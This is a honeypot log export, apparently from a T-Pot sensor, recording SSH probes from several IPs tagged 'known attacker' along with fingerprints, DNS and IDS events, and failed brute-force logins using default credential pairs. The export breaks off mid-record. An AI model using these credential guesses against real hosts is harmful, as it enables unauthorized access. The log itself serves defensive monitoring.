20427	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:04:12.659803+03	2021-09-20 14:15:02.361642+03	{"_id": "FgXgAnwBvYTbRNuEtPmU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c3c0b95de439", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:04:12.659803Z", "@timestamp": "2021-09-20T11:04:12.659Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20428	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:04:13.696952+03	2021-09-20 14:15:02.363642+03	{"_id": "HgXgAnwBvYTbRNuEt_lh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 29592, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2393, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 398899024862032, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 33487, "timestamp": "2021-09-20T11:04:13.696952Z", "@timestamp": "2021-09-20T11:04:13.696Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30294	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:34:06.200665+03	2021-09-20 14:45:02.815143+03	{"_id": "pAb8AnwBvYTbRNuEEztB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 26531, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 592196292972505, "@version": "1", "in_iface": "enp5s0", "src_port": 58781, "dest_port": 53, "timestamp": "2021-09-20T11:34:06.200665Z", "@timestamp": "2021-09-20T11:34:06.200Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20429	87.112.251.105	109.199.241.180	Fatt	2021-09-20 14:04:12.810485+03	2021-09-20 14:15:02.364642+03	{"_id": "HwXgAnwBvYTbRNuEt_n3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48394, "dest_port": 22, "timestamp": "2021-09-20T11:04:12.810485", "@timestamp": "2021-09-20T11:04:12.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20430	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:04:13.360807+03	2021-09-20 14:15:02.365614+03	{"_id": "JQXgAnwBvYTbRNuEuPl8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.login.failed", "message": "login attempt [sonos/sonos123] failed", "session": "385bcdf7e9ab", "@version": "1", "password": "sonos123", "username": "sonos", "timestamp": "2021-09-20T11:04:13.360807Z", "@timestamp": "2021-09-20T11:04:13.360Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20431	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:04:13.78719+03	2021-09-20 14:15:02.366642+03	{"_id": "KAXgAnwBvYTbRNuEu_nh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34730, "timestamp": "2021-09-20T11:04:13.787190", "@timestamp": "2021-09-20T11:04:13.787Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
20432	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:04:14.159129+03	2021-09-20 14:15:02.367639+03	{"_id": "KQXgAnwBvYTbRNuEvPkZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.login.failed", "message": "login attempt [ubuntu/P@ssword1] failed", "session": "c3c0b95de439", "@version": "1", "password": "P@ssword1", "username": "ubuntu", "timestamp": "2021-09-20T11:04:14.159129Z", "@timestamp": "2021-09-20T11:04:14.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20433	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:04:14.659451+03	2021-09-20 14:15:02.369643+03	{"_id": "KgXgAnwBvYTbRNuEvPkZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "385bcdf7e9ab", "@version": "1", "duration": 2.858468532562256, "timestamp": "2021-09-20T11:04:14.659451Z", "@timestamp": "2021-09-20T11:04:14.659Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20434	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:04:15.563492+03	2021-09-20 14:15:02.370648+03	{"_id": "KwXgAnwBvYTbRNuEwPkB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c3c0b95de439", "@version": "1", "duration": 2.9040303230285645, "timestamp": "2021-09-20T11:04:15.563492Z", "@timestamp": "2021-09-20T11:04:15.563Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20435	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:04:11.80027+03	2021-09-20 14:15:02.371643+03	{"_id": "CgXgAnwBvYTbRNuEsPmu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 36.27.214.211:44590 (192.168.176.2:22) [session: 385bcdf7e9ab]", "session": "385bcdf7e9ab", "@version": "1", "protocol": "ssh", "src_port": 44590, "dest_port": 22, "timestamp": "2021-09-20T11:04:11.800270Z", "@timestamp": "2021-09-20T11:04:11.800Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20436	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:04:12.096945+03	2021-09-20 14:15:02.372642+03	{"_id": "DQXgAnwBvYTbRNuEs_l3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "flow_id": 601217754182483, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44590, "dest_port": 22, "timestamp": "2021-09-20T11:04:12.096945Z", "@timestamp": "2021-09-20T11:04:12.096Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20437	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:04:12.097047+03	2021-09-20 14:15:02.373643+03	{"_id": "DgXgAnwBvYTbRNuEs_mH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:04:11.504659+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 601217754182483, "payload": "AAADzAYU/39S5ttZuflHfeZRO7DLxAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44590, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:04:12.097047Z", "@timestamp": "2021-09-20T11:04:12.097Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........R..Y..G}.Q;......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
20438	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:04:11.80185+03	2021-09-20 14:15:02.375643+03	{"_id": "GQXgAnwBvYTbRNuEtPmU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "36.27.214.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44590, "timestamp": "2021-09-20T11:04:11.801850", "@timestamp": "2021-09-20T11:04:11.801Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20439	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:04:12.097666+03	2021-09-20 14:15:02.376652+03	{"_id": "FQXgAnwBvYTbRNuEtPmU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "385bcdf7e9ab", "@version": "1", "timestamp": "2021-09-20T11:04:12.097666Z", "@timestamp": "2021-09-20T11:04:12.097Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20445	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:04:07.824377+03	2021-09-20 14:15:02.384643+03	{"_id": "_QXgAnwBvYTbRNuEofgK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "939b474c1ecd", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:04:07.824377Z", "@timestamp": "2021-09-20T11:04:07.824Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20440	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:04:12.66051+03	2021-09-20 14:15:02.377642+03	{"_id": "GwXgAnwBvYTbRNuEtPmU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "87.112.251.105", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48394, "timestamp": "2021-09-20T11:04:12.660510", "@timestamp": "2021-09-20T11:04:12.660Z", 